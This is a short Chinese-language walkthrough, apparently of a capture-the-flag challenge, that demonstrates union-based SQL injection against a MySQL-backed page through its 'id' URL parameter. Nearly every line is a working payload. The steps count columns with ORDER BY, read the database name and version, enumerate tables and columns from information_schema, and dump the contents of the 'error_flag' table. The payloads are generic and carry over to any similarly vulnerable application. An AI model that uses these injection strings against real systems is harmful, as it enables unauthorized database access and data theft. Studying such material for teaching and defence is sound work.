第一步,判断字段数
?id=1 order by 3,回显正常
?id=1 order by 4,回显报错
得出字段数为3
第二步,爆数据库名
?id=0 union select 1,database(),3
得出数据库名为‘error’,这里用id=0或id=1 and 1=2皆可,第一个条件为false就行,但是-1这里不适用
第三步,爆数据库error下的表名
?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'error'
得到数据库‘error’下存在两个表‘error_flag’,'user',我们想要的flag在error_flag表下面
第四步,爆表error_flag表下的列名
?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='error_flag'
我们可以得出,'error_flag'表下面有两列数据,id和flag
第五步,查询表中指定的数据
?id=0 union select 1,group_concat(flag),3 from error_flag
备注:爆数据库名时可以使用?id=0 union select 1,version(),3,查询数据库的版本号,只有MYSQL5.0以上版本中才存在自带数据库information_schema,才能使用文中的数据库查询语句。